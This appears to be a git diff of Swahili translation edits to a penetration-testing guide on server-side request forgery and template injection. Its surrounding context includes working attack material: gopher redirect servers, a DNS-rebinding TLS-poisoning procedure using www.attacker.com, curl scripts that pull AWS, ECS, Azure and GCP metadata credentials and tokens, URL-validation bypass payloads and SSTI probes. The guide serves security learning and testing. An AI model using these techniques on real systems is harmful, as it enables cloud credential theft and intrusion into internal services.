Programu za uchanganuzi kwenye seva mara nyingi huandika kichwa cha Referrer ili kufuatilia viungo vinavyoingia, tabia ambayo kwa bahati mbaya inafichua programu kwa udhaifu wa Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu hizo zinaweza kutembelea URL za nje zilizotajwa katika kichwa cha Referrer ili kuchambua maudhui ya tovuti za rejeleo. Ili kugundua udhaifu hizi, nyongeza ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikitumia njia ambavyo zana za uchanganuzi zinavyoshughulikia kichwa cha Referer ili kubaini maeneo yanayoweza kushambuliwa kwa SSRF.
Programu za uchambuzi kwenye seva mara nyingi huandika kichwa cha Referrer ili kufuatilia viungo vinavyoingia, tabia ambayo kwa bahati mbaya inafichua programu kwa udhaifu wa Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu hizo zinaweza kutembelea URL za nje zilizotajwa katika kichwa cha Referrer ili kuchambua maudhui ya tovuti za rejeleo. Ili kugundua udhaifu hizi, nyongeza ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikitumia njia ambavyo zana za uchambuzi zinavyoshughulikia kichwa cha Referer ili kubaini maeneo yanayoweza kushambuliwa kwa SSRF.
## SSRF kupitia data ya SNI kutoka kwa cheti
@ -179,7 +179,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
## Proxies zisizokosewa kwa SSRF
## Proxies zisizopangwa vizuri kwa SSRF
Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@ -214,7 +214,7 @@ Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Msimbo unaoweza kuathiriwa:
Msimamo wa hatari:
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
@ -245,7 +245,7 @@ var_dump($response);
```
</details>
PHP inaruhusu matumizi ya **char `*` kabla ya slash katika njia** ya URL, hata hivyo, ina mipaka mingine kama vile kwamba inaweza kutumika tu kwa njia ya mzizi `/` na kwamba alama `.` haziruhusiwi kabla ya slash ya kwanza, hivyo inahitajika kutumia anwani ya IP iliyokodi kwa hex bila alama ya nukta kwa mfano:
PHP inaruhusu matumizi ya **char `*` kabla ya slash katika njia** ya URL, hata hivyo, ina mipaka mingine kama vile kwamba inaweza kutumika tu kwa njia ya mzizi `/` na kwamba alama `.` haziruhusiwi kabla ya slash ya kwanza, hivyo inahitajika kutumia anwani ya IP iliyokodi kwa hex bila alama:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -261,7 +261,7 @@ Ikiwa unakabiliwa na **matatizo** ya **kuondoa maudhui kutoka kwa IP ya ndani**
### Automated DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kubadilisha anwani ya IP ya jina la DNS la seva ya shambulio kuwa anwani ya IP ya mashine lengwa na kutoa mzigo wa shambulio ili kutumia programu dhaifu kwenye mashine lengwa.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kubadilisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine lengwa na kutoa mzigo wa shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.
Angalia pia seva **inayoendesha hadharani katika** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -273,18 +273,18 @@ Mahitaji:
- **Sehemu za TLS za nje**
- **Vitu kwenye port za ndani**
Shambulio:
Shambulizi:
1. Muulize mtumiaji/boti **kupata** **domain** inayodhibitiwa na **mshambuliaji**
2. **TTL** ya **DNS** ni **0** sekunde (hivyo mwathirika atakagua IP ya domain tena hivi karibuni)
3. **Muunganisho wa TLS** unaundwa kati ya mwathirika na domain ya mshambuliaji. Mshambuliaji anaingiza **mzigo ndani** ya **Session ID au Session Ticket**.
4. **Domain** itaanza **mzunguko usio na mwisho** wa kuelekeza dhidi ya **yake mwenyewe**. Lengo la hili ni kumfanya mtumiaji/boti kufikia domain hadi ifanye **tena** **ombio la DNS** la domain.
4. **Domain** itaanza **mzunguko usio na mwisho** wa kuelekeza dhidi ya **yeye mwenyewe**. Lengo la hili ni kumfanya mtumiaji/boti kufikia domain hadi ifanye **tena** **ombio la DNS** la domain.
5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (127.0.0.1 kwa mfano)
6. Mtumiaji/boti atajaribu **kuanzisha tena muunganisho wa TLS** na ili kufanya hivyo itatuma **Session** ID/Ticket ID (ambapo **mzigo** wa mshambuliaji ulikuwa umejumuishwa). Hivyo hongera umepata kumwambia **mtumiaji/boti ajishambulie**.
6. Mtumiaji/boti atajaribu **kuanzisha tena muunganisho wa TLS** na ili kufanya hivyo atatuma **Session** ID/Ticket ID (ambapo **mzigo** wa mshambuliaji ulikuwa umejumuishwa). Hivyo hongera umefaulu kumwambia **mtumiaji/boti ajishambulie mwenyewe**.
Kumbuka kwamba wakati wa shambulio hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kumfanya mwathirika kuanzisha muunganisho wa awali na www.attacker.com:11211 (**port lazima iwe sawa kila wakati**).\
Ili **kufanya shambulio hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Kwa **maelezo zaidi** angalia mazungumzo ambapo shambulio hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
Kumbuka kwamba wakati wa shambulizi hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kumfanya mwathirika kuanzisha muunganisho wa awali na www.attacker.com:11211 (**port lazima iwe sawa kila wakati**).\
Ili **kufanya shambulizi hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Kwa **maelezo zaidi** angalia mazungumzo ambapo shambulizi hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Blind SSRF
@ -333,7 +333,7 @@ Chombo hiki kinazalisha mzigo wa Gopher kwa:
- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za shambulio kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo `--ssrf`, ili kuzalisha mzigo wa _SSRF_ kwa operesheni iliyotakiwa. Pamoja na chaguo `--gopher`, mzigo wa _gopher_ unaoweza kutumika moja kwa moja unaweza kuzalishwa.
_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za shambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo `--ssrf`, ili kuzalisha mzigo wa _SSRF_ kwa operesheni iliyotakiwa. Pamoja na chaguo `--gopher`, mzigo wa _gopher_ unaoweza kutumika moja kwa moja unaweza kuzalishwa.
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

View File

@ -6,16 +6,16 @@
### Kutumia SSRF katika mazingira ya AWS EC2
**Kipengele cha metadata** kinaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na kinatoa taarifa za kuvutia kuhusu hiyo. Kinapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Msingi wa metadata** unaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Kuna **toleo 2** za kipengele cha metadata. **Toleo la kwanza** linaruhusu **kufikia** kipengele kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kulitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kufikia metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF).
Kuna **toleo 2** za msingi wa metadata. **Toleo la kwanza** linaruhusu **kufikia** msingi kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kufikia metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF).
> [!CAUTION]
> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2.
>
> Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisifike.
> Zaidi ya hayo, **IMDSv2** pia itazuia **maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisipate kufikia hiyo.
Unaweza kupata taarifa kuhusu [vipengele vya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo, taarifa za kuvutia zinapatikana kutoka kwake:
Unaweza kupata taarifa kuhusu [misingi ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -94,9 +94,9 @@ Kumbuka **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi.
### SSRF katika AWS ECS (Huduma ya Kontena) akidi
**ECS**, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **mipangilio ya metadata inabadilika**.
**ECS**, ni kundi la mantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayotembea katika **ECS**, **mipaka ya metadata inabadilika**.
Ikiwa unapata _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaona akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma kiambishi cha **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Ikiwa utafungua _**http://169.254.170.2/v2/credentials/\<GUID>**_ utaweza kupata akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma kiambishi cha **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\
Unaweza kuwa na uwezo wa kukisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
```bash
@ -107,7 +107,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
Katika kesi hii **akili zinaifadhiwa katika mabadiliko ya mazingira**. Hivyo, ili kuzipata unahitaji kufikia kitu kama **`file:///proc/self/environ`**.
Katika kesi hii **akili zinahifadhiwa katika mabadiliko ya mazingira**. Hivyo, ili kuzipata unahitaji kufikia kitu kama **`file:///proc/self/environ`**.
**Jina** la **mabadiliko ya mazingira ya kuvutia** ni:
@ -239,7 +239,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Kupitia mipangilio
> # Kupitia setup
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq
- Lazima **isiwe** na kichwa `X-Forwarded-For`
> [!TIP]
> Azure VM inaweza kuwa na utambulisho 1 wa mfumo uliopewa usimamizi na utambulisho kadhaa wa mtumiaji uliopewa usimamizi. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote wa usimamizi ulioambatanishwa na VM**.
> Azure VM inaweza kuwa na utambulisho 1 wa mfumo uliopewa usimamizi na utambulisho kadhaa wa mtumiaji uliopewa usimamizi. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote waliopewa usimamizi waliounganishwa na VM**.
>
> Kwa **kawaida**, mwisho wa metadata utatumia **MI iliyopewa mfumo (ikiwa ipo)**.
>
> Kwa bahati mbaya sikuweza kupata mwisho wowote wa metadata unaoonyesha MIs zote ambazo VM inaambatanishwa nazo.
> Kwa bahati mbaya sikuweza kupata mwisho wowote wa metadata unaoonyesha MIs zote ambazo VM inaunganishwa nazo.
>
> Hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya:
>
> - Pata **utambulisho ulioambatanishwa kwa az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika Azure tenant)
> - Pata **utambulisho uliounganishwa na az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika Azure tenant)
>
> ```bash
> az vm identity show \
@ -339,12 +339,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyoambatanishwa kwa kawaida katika metadata:
> - Pata **utambulisho uliounganishwa** ukitumia MI iliyopewa mfumo katika metadata:
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Pata token kutoka MI ya kawaida
> # Pata token kutoka MI iliyopewa mfumo
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Pata yote** utambulisho wa usimamizi ulioainishwa katika tenant na **brute force** kuona kama yoyote yao imeunganishwa na VM:
> - **Pata zote** utambulisho wa usimamizi ulioainishwa katika tenant na **brute force** kuona kama yoyote yao imeunganishwa na VM:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho wa usimamizi unayotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya kawaida itatumika**.
> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho wa usimamizi unayotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI iliyopewa mfumo itatumika**.
{{#tabs}}
{{#tab name="Bash"}}
@ -416,7 +416,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
### Azure App & Functions Services
Kutoka kwenye **env** unaweza kupata thamani za **`IDENTITY_HEADER`** na **`IDENTITY_ENDPOINT`**. Ambazo unaweza kutumia kupata tokeni ya kuzungumza na seva ya metadata.
Kutoka kwenye **env** unaweza kupata thamani za **`IDENTITY_HEADER`** na **`IDENTITY_ENDPOINT`**. Ambazo unaweza kutumia kukusanya tokeni ya kuzungumza na seva ya metadata.
Wakati mwingi, unataka tokeni kwa moja ya rasilimali hizi:
@ -564,11 +564,11 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Hati kuhusu huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kutekeleza kwa mifano zinaweza kupatikana. Kila jukwaa linatoa njia za kipekee za kufikia huduma zake za metadata.
Hati kuhusu huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kutekeleza kwa mifano zinaweza kupatikana. Kila jukwaa linatoa mwisho wa kipekee kupata huduma zake za metadata.
## Packetcloud
Ili kufikia metadata ya Packetcloud, hati inaweza kupatikana kwenye: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Ili kupata metadata ya Packetcloud, hati inaweza kupatikana kwenye: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
@ -584,7 +584,7 @@ Hitaji la kichwa hakijatajwa hapa pia. Metadata inapatikana kwenye:
## Oracle Cloud
Oracle Cloud inatoa mfululizo wa njia za kufikia vipengele mbalimbali vya metadata:
Oracle Cloud inatoa mfululizo wa mwisho wa kupata vipengele mbalimbali vya metadata:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -593,7 +593,7 @@ Oracle Cloud inatoa mfululizo wa njia za kufikia vipengele mbalimbali vya metada
## Alibaba
Alibaba inatoa njia za kufikia metadata, ikiwa ni pamoja na vitambulisho vya mifano na picha:
Alibaba inatoa mwisho wa kupata metadata, ikiwa ni pamoja na vitambulisho vya mfano na picha:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -601,7 +601,7 @@ Alibaba inatoa njia za kufikia metadata, ikiwa ni pamoja na vitambulisho vya mif
## Kubernetes ETCD
Kubernetes ETCD inaweza kushikilia funguo za API, anwani za IP za ndani, na bandari. Ufikiaji umeonyeshwa kupitia:
Kubernetes ETCD inaweza kushikilia funguo za API, anwani za IP za ndani, na bandari. Upatikanaji umeonyeshwa kupitia:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
@ -610,7 +610,7 @@ Kubernetes ETCD inaweza kushikilia funguo za API, anwani za IP za ndani, na band
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano imetolewa kwa ajili ya kupata taarifa za kontena na picha:
- Mfano rahisi wa kufikia metadata za kontena na picha kupitia socket ya Docker:
- Mfano rahisi wa kupata metadata za kontena na picha kupitia socket ya Docker:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Ndani ya kontena, tumia curl na socket ya Docker:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`

View File

@ -145,7 +145,7 @@ next={domain}&next=attacker.com
```
### Paths and Extensions Bypass
Ikiwa unahitajika kwamba URL lazima ikamilike kwa njia au kiendelezi, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiendelezi, au lazima iwe na njia, unaweza kujaribu moja ya bypass zifuatazo:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -153,7 +153,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hiki posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
### Automatic Custom Wordlists
@ -163,8 +163,8 @@ Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/w
### Bypass via redirect
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** kwa ombi hilo.\
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **ikichuja parameter ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini si** jibu la **redirect** lililowezekana kwa ombi hilo.\
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **ikichuja param ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -190,21 +190,21 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Blackslash-trick
The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na forward slash (`/`) katika kiwango cha WHATWG, ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
_Mbackslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na slash ya mbele (`/`) katika kiwango cha WHATWG, ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Left square bracket
### Bracket ya Kushoto
Character ya “left square bracket`[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji inayotofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
Character ya “bracket ya kushoto`[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji inayotofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Mchanganyiko Mwingine
### Confusions Nyingine
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Marejeo
## Marejeleo
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)

View File

@ -7,7 +7,7 @@
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichoharibika kinachotumia Jinja:
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilicho na udhaifu kinachotumia Jinja:
```python
output = template.render(name=request.args.get('name'))
```
@ -19,20 +19,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Payload `{{bad-stuff-here}}` imeingizwa kwenye parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
### Ugunduzi
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
Ili kugundua Kuingizwa kwa Template Kwenye Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
- Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
- Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (kwa mfano, `{{7*7}}`, `${7*7}`).
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, `{{7*7}}`, `${7*7}`).
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` kwenye `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye `greeting=data.username}}hello` inarudisha jina la mtumiaji.
#### Awamu ya Utambuzi
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali maalum za lugha. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payloads mbalimbali za lugha maalum. Payloads za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
